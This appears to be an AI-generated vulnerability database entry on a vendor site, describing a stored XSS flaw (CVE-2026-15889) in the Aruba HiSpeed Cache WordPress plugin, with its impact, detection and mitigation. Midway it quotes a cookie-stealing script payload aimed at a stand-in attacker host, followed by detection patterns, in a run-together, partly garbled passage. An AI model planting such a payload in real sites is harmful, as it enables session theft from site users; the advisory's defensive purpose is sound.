
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-15889 is a stored cross-site scripting (XSS) vulnerability in the Aruba HiSpeed Cache WordPress plugin affecting all versions up to and including 3.0.14. Authenticated attackers with Contributor-level privileges or higher can inject arbitrary web scripts via post content due to insufficient input sanitization and output escaping; the injected scripts execute when other users visit the affected page. The CVE is currently in "Reserved" status and has an estimated CVSS severity of Medium (Feedly, VulDB).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically a failure to sanitize post content before storage and to escape it before rendering. An authenticated Contributor-level (or higher) WordPress user can embed malicious JavaScript within post content, which the plugin stores without adequate sanitization. When any user — including administrators — subsequently loads the affected page, the stored payload is rendered and executed in their browser context (Feedly, Radar Offseq).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the compromised page, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of site content. The stored nature of the XSS means a single injection can persistently affect all subsequent visitors without further attacker interaction (Feedly).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported at this time. The CVE remains in "Reserved" status as of the Feedly insertion date of September 10, 2026. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities. No EPSS score or CISA KEV catalog listing has been identified for this CVE (Feedly, VulDB).
<script>document.location='https://attacker.com/steal?c='+document.cookie;</script>.wp-admin/post.php or the REST API from Contributor-level accounts containing encoded script tags (<script>, %3Cscript%3E, javascript:) in post body parameters.<script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts table within post content fields.Users should update the Aruba HiSpeed Cache WordPress plugin to a version beyond 3.0.14 once a patched release is made available by the vendor. In the interim, site administrators should restrict the Contributor role's ability to publish unreviewed content, or temporarily disable the plugin. Implementing a Web Application Firewall (WAF) rule to block requests containing script injection patterns in post content fields can provide additional defense-in-depth (Feedly).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."